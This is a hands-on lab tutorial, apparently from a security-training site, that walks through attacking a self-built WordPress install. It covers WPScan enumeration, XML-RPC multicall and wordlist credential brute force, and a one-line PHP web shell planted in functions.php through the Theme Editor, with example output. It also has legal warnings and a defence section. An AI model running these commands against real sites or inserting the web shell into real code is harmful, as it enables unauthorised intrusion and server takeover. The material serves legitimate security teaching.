Practice library / Web attacks
Lab · Easy · 1.5 hours
WordPress Exploitation
WPScan enumeration, XML-RPC brute force, and admin-to-RCE via the Theme Editor.
On this page 15 sections
- ·Why WordPress Is Worth Its Own Lab
- ·Prerequisites
- ·Lab Setup
- ·Build the target
- 1Fingerprint WordPress Core, Theme and Plugin Versions
- 2Automate Enumeration with WPScan
- 3Enumerate Valid Usernames
- 4Find Known Plugin and Theme Vulnerabilities
- 5Check XML-RPC Exposure and Brute-Force Amplification
- 6Brute Force the Login Form
- 7Confirm the Admin Session
- 8Get Code Execution Through the Theme Editor
- 9Detect and Defend Against Each Technique
- ·Check Your Work
- ·Clean Up and Next Lab
WordPress runs roughly 40 percent of the public web. Most compromises start with a weak admin password or one outdated plugin, not a bug in the core — the same entry point behind defacement, SEO spam injection, and the mass credit card skimmers found in Magecart-style incidents. Fingerprint a lab install, brute force its admin through the legacy XML-RPC endpoint, and turn that login into remote code execution through the Theme Editor.
Lab Objectives
- Fingerprint WordPress core, theme and plugin versions from the outside
- Enumerate valid usernames through the REST API and the legacy author-ID redirect
- Find a known plugin vulnerability with WPScan's vulnerability database
- Brute force a weak admin login through XML-RPC and the login form
- Turn a stolen admin session into code execution with the Theme Editor
- Explain how a defender detects and stops each technique
Why WordPress Is Worth Its Own Lab
WordPress runs a large share of the sites you meet on an engagement. Its core is well patched, but most installs carry a long tail of third-party plugins and themes, many of them outdated or rarely reviewed. The usual path to compromise is not a bug in WordPress itself. It is a weak password, an exposed legacy API, or one vulnerable plugin the owner forgot to update.
This lab works through that path on one target, in order. Fingerprint the install, enumerate its users, find a vulnerable component, get in, then turn that access into code execution.
Prerequisites
- Web Application Recon — do this first. It covers the
curlheader probing and fingerprinting habits this lab reuses against a CMS target.
Recommended background, if the topic is new to you:
- File Upload Vulnerabilities — the file-handling flaw behind Step 4, covered in depth with a direct upload instead of the Theme Editor.
- Web Fuzzing & Directory Brute Forcing — faster plugin and backup-file discovery than the manual loops in Step 1.
Lab Setup
- Attack box: Kali Linux with
wpscanandcurlinstalled. Check withwpscan --version. - wpscan.com API token (optional): Step 4 uses WPScan's vulnerability database. A free token from wpscan.com raises your daily lookup limit; the step works without one too, at a lower rate limit.
Build the target
KaliRange hosts no targets, no virtual machines and no lab files. You build the WordPress install yourself and run every command against it. The address 10.0.5.20 below is the example address this lab's commands and output use; replace it with the address of your own install.
Your target needs:
- WordPress (the lab's commands and output expect version
6.4.2, so install that release) on Apache and MySQL, with the defaulttwentytwentyfourtheme. - Two accounts:
admin(Administrator, passwordSummer2024so Step 6's wordlist attack succeeds) andj.editor(Editor, no password needed — it only has to exist so Step 3's enumeration finds two users). - A plugin named
kr-catalog-importer, version2.1.0, with an authenticated arbitrary file-upload flaw in its import handler. No such plugin is published publicly — write a small plugin of your own with exactly that name, version and flaw (an "import" page that accepts any uploaded file with no type check), so your output matches this lab's. xmlrpc.phpreachable (the WordPress default) and the Theme Editor enabled (the default, unlessDISALLOW_FILE_EDITis set inwp-config.php).
Build such a target from free, legal parts: install WordPress itself (the WordPress project's own software) with Apache or Nginx and MySQL or MariaDB, in a container or a virtual machine on your own computer. Take a snapshot of the VM, or note the container image, before Step 1.
Legal note. Run every command in this lab only against a target that you own or have written permission to test, here 10.0.5.20. Do not point WPScan, XML-RPC requests or login attempts at any WordPress site you do not own or do not have written authorisation to test. Unauthorised access to a computer system is a criminal offence in most countries.
Step 1: Fingerprint WordPress Core, Theme and Plugin Versions
Read what the site already tells you
A WordPress site leaks its software versions before you run a single scanner. Check the generator meta tag, readme.html, and the version string on every enqueued theme and plugin asset.
# WordPress core version, two independent sources
curl -s http://10.0.5.20/ | grep -i generator
curl -s http://10.0.5.20/readme.html | grep -m1 -i version
# Active theme and plugin paths, with their ?ver= query string
curl -s http://10.0.5.20/ | grep -oE 'wp-content/(themes|plugins)/[^"'"'"']+' | sort -uExample output:
<meta name="generator" content="WordPress 6.4.2" />
Version 6.4.2
wp-content/plugins/kr-catalog-importer/assets/app.js?ver=2.1.0
wp-content/themes/twentytwentyfour/style.css?ver=1.0Why it matters. The core version, the active theme and every plugin version map directly to a set of known vulnerabilities. You now have three exact version strings to check in Step 4, before you run a single automated tool.
Step 2: Automate Enumeration with WPScan
Let WPScan confirm and extend what you found by hand
WPScan is the standard WordPress enumeration tool. A plain scan passively confirms the core version and lists every theme and plugin it can detect from public pages, without sending any attack payload.
wpscan --url http://10.0.5.20 --random-user-agentExample output (shortened):
[+] WordPress version 6.4.2 identified.
[+] WordPress theme in use: twentytwentyfour
[+] Enumerating All Plugins (via Passive Methods)
[+] kr-catalog-importer
| Location: http://10.0.5.20/wp-content/plugins/kr-catalog-importer/
| Latest Version: 2.1.0 (up to date)Why it matters. --random-user-agent avoids the default WPScan user agent string, which some logging rules flag immediately. This single command reproduces Step 1's findings and checks them against WPScan's own plugin database, catching anything the manual grep missed.
Step 3: Enumerate Valid Usernames
Collect usernames from three sources
A valid username halves the work of any later login attack. WordPress exposes usernames through the REST API, through a legacy redirect, and through WPScan's own detection methods. Try all three — a hardened site can block one and miss another.
# REST API: lists every user with public posts
curl -s http://10.0.5.20/wp-json/wp/v2/users | jq '.[] | {id, slug, name}'
# Legacy author-ID redirect: ?author=N 302s to /author/<username>/
curl -s -o /dev/null -D - "http://10.0.5.20/?author=1" | grep -i location
# WPScan's own enumeration, combining several passive and aggressive methods
wpscan --url http://10.0.5.20 --enumerate uExample output (shortened):
{"id": 1, "slug": "admin", "name": "Jane Admin"}
{"id": 2, "slug": "j.editor", "name": "J Editor"}
Location: http://10.0.5.20/author/admin/
[i] User(s) Identified:
[+] admin
| Found By: Rss Generator (Aggressive Detection)
[+] j.editor
| Found By: Author Id Brute Forcing - Author Sitemap (Aggressive Detection)Why it matters. admin and j.editor are now confirmed valid login names. A site can disable the REST API user list, or block the ?author= redirect. Even then, an RSS feed or XML sitemap can leak the same names, which is why WPScan tries several methods.
Step 4: Find Known Plugin and Theme Vulnerabilities
Cross-reference every detected version against the vulnerability database
WPScan's --enumerate vp,vt flags check every plugin and theme version it detects against the WPScan vulnerability database. Add --api-token to raise your lookup limit.
wpscan --url http://10.0.5.20 --enumerate vp,vt --api-token YOUR_WPSCAN_TOKENWithout a token, remove --api-token and its value. The lookup still runs, at a lower rate limit.
When a detected plugin has a matching entry, WPScan prints a block in this form (illustrative — kr-catalog-importer is the plugin you built yourself for this lab, not a plugin with a real public CVE):
[!] Title: <plugin name> <= <version> - <vulnerability class>
| Fixed in: <patched version>
| References:
| - WPVulnDB: <entry id>Why it matters. This is the step that turns a version number into an attack plan. In a real engagement, the vulnerability class in that block tells you exactly which lab technique to reach for next. That class might be SQL injection, arbitrary file upload, or authentication bypass. For this lab, kr-catalog-importer 2.1.0 carries an authenticated arbitrary file upload flaw in its import handler. This is the same class behind many real plugin CVEs — see File Upload Vulnerabilities for that technique in depth.
Step 5: Check XML-RPC Exposure and Brute-Force Amplification
Confirm xmlrpc.php is enabled and reachable
xmlrpc.php is a legacy remote-procedure API, enabled by default on most WordPress installs for pingback and mobile-app support. system.listMethods lists every method it exposes without needing credentials.
curl -s -X POST http://10.0.5.20/xmlrpc.php \
--data '<?xml version="1.0"?><methodCall><methodName>system.listMethods</methodName><params></params></methodCall>'Example output (shortened):
<methodResponse><params><param><value><array><data>
<value><string>system.multicall</string></value>
<value><string>wp.getUsersBlogs</string></value>
<value><string>pingback.ping</string></value>
</data></array></value></param></params></methodResponse>Why it matters. Two of those methods matter here. pingback.ping makes the server fetch a URL you supply — the same request-forgery pattern covered in Server-Side Request Forgery & Attacks. system.multicall batches several method calls into one HTTP request. This lets an attacker test many username/password pairs in a single POST instead of one request per guess. It evades a defence that only counts requests per minute.
curl -s -X POST http://10.0.5.20/xmlrpc.php --data '<?xml version="1.0"?>
<methodCall>
<methodName>system.multicall</methodName>
<params><param><value><array><data>
<value><struct>
<member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member>
<member><name>params</name><value><array><data>
<value><string>admin</string></value>
<value><string>password123</string></value>
</data></array></value></member>
</struct></value>
<value><struct>
<member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member>
<member><name>params</name><value><array><data>
<value><string>admin</string></value>
<value><string>Summer2024</string></value>
</data></array></value></member>
</struct></value>
</data></array></value></param></params>
</methodCall>'Example output (shortened):
<value><struct><member><name>faultString</name>
<value><string>Incorrect username or password.</string></value></member></struct></value>
<value><array><data><value><struct>
<member><name>isAdmin</name><value><boolean>1</boolean></value></member>
</struct></value></data></array></value>Why it matters. The first guess (password123) returns a fault. The second (Summer2024) returns real blog data with isAdmin set — one HTTP request confirmed a working credential pair alongside a failed one. A production attack adds hundreds of pairs to the same request. The defence is to disable xmlrpc.php entirely, or restrict it to the single pingback method a site actually needs.
Step 6: Brute Force the Login Form
Attack wp-login.php directly when XML-RPC is not available
wp-login.php has no account lockout by default. WPScan's password-attack mode drives it the same way a browser would, one POST per attempt.
wpscan --url http://10.0.5.20 --usernames admin --passwords /usr/share/wordlists/rockyou.txt --max-threads 5Example output (shortened):
[!] Valid Combinations Found:
| Username: admin, Password: Summer2024Why it matters. This confirms, through a second independent method, the same credential pair Step 5 found. --max-threads 5 keeps request volume low enough to avoid tripping any rate limiting on the target; raising it only speeds up guessing; it does not change whether the attack is detected.
Step 7: Confirm the Admin Session
Prove the credentials work for an authenticated session, not just the login check
A valid login form response does not always mean a usable session. Submit the credentials with a cookie jar, then request an admin-only page with that cookie.
curl -s -c cookies.txt \
-d "log=admin&pwd=Summer2024&wp-submit=Log+In&redirect_to=http://10.0.5.20/wp-admin/" \
http://10.0.5.20/wp-login.php -o /dev/null -w 'status: %{http_code}\n'
curl -s -b cookies.txt http://10.0.5.20/wp-admin/ | grep -o '<title>[^<]*'Example output:
status: 302
<title>Dashboard ‹ KaliRange Shop — WordPressWhy it matters. The 302 redirect and the Dashboard title confirm the session cookie in cookies.txt is a working Administrator session, not just a correct password. Every request in Step 8 reuses this same cookie jar.
Step 8: Get Code Execution Through the Theme Editor
This step writes PHP to a file on the target. Only do this on your own target 10.0.5.20, and remove the line again in Clean Up before you finish the lab.
Use Appearance → Theme Editor to write PHP straight to disk
Any Administrator account can edit theme files from the dashboard. There is no upload filter and no file-type check: the editor saves whatever you type directly to a .php file inside the active theme.
In the browser, using the session from Step 7:
- Go to Appearance → Theme File Editor.
- Select functions.php from the theme file list on the right.
- Add this line at the very top of the file, before any existing code:
<?php system($_GET['cmd']); ?>- Click Update File.
curl -s "http://10.0.5.20/wp-content/themes/twentytwentyfour/functions.php?cmd=id"Example output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)Why it matters. functions.php is a plain PHP file inside the web root. A direct request to it runs the file through PHP alone, with no WordPress routing and no nonce check. This is the direct path from a stolen admin password to command execution as the web server user. No plugin vulnerability is required, only the Administrator role Step 6 and 7 already gave you.
Step 9: Detect and Defend Against Each Technique
Map each attack to the control that stops it
Every technique in this lab leaves a trace a defender can act on.
- Version fingerprinting (Steps 1-2). Remove the generator meta tag and version query strings, and keep core, themes and plugins patched so an exposed version number is not useful.
- User enumeration (Step 3). Disable the REST API user list for unauthenticated requests, and block the
?author=redirect with a security plugin or a web server rule. - Plugin vulnerability lookup (Step 4). Update plugins on a schedule; subscribe to a vulnerability feed so you patch before a public disclosure is weaponised.
- XML-RPC amplification and SSRF (Step 5). Disable
xmlrpc.phpif nothing on the site needs it, or allow onlypingback.pingthrough a plugin or web server rule. Log and alert on anysystem.multicallrequest. - Login brute force (Steps 6-7). Add account lockout and rate limiting on
wp-login.phpandxmlrpc.php, require a strong password policy, and enable two-factor authentication for every Administrator account. - Theme Editor to RCE (Step 8). Disable the file editor with
DISALLOW_FILE_EDITinwp-config.php, and run file-integrity monitoring on the themes and plugins directories so an unexpected PHP change raises an alert immediately.
Check Your Work
You have finished this lab when you can do all of these.
- Show the generator meta tag or
readme.htmloutput from Step 1 giving the exact WordPress version. - Show the WPScan output from Step 2 listing the theme and the
kr-catalog-importerplugin. - Name both usernames found in Step 3, and which method found each one.
- State the vulnerability class WPScan's vulnerability database reports for
kr-catalog-importerin Step 4. - Show the
system.listMethodsresponse from Step 5 namingpingback.pingandsystem.multicall. - Show the
isAdminsuccess response from the Step 5 multicall request, and the matching WPScan result from Step 6. - Show the
status: 302andDashboardtitle from Step 7, proving a working admin session. - Show the
uid=33(www-data)output from Step 8, proving code execution through the Theme Editor. - Name one control from Step 9 for each of the six attack techniques above.
If a step fails, check these causes first.
wpscanreports no plugins. Confirm the target is10.0.5.20and reachable; passive detection needs the plugin's assets linked from a public page.- The REST API returns an empty array. Some installs hide authors with no published posts — fall back to the
?author=redirect or WPScan's aggressive methods. - The multicall request returns a fault for both pairs. Check the XML is well formed; a missing closing tag makes the whole call fail, not just one guess.
functions.php?cmd=returns an empty response with no command output. Confirm Update File succeeded and that the inserted line is the very first line of the file.
Clean Up and Next Lab
- Open Appearance → Theme File Editor again, select functions.php, delete the line you added in Step 8, and click Update File.
- Remove your local session file:
rm -f cookies.txt.
Lab complete. You fingerprinted a WordPress install, enumerated its users, and matched a plugin version to a known vulnerability class. You brute forced a weak login through two independent paths, then turned that access into code execution. Next: File Upload Vulnerabilities goes deeper into the vulnerability class behind Step 4, uploading a webshell directly instead of going through the Theme Editor.
Sign in to track progress and send feedback.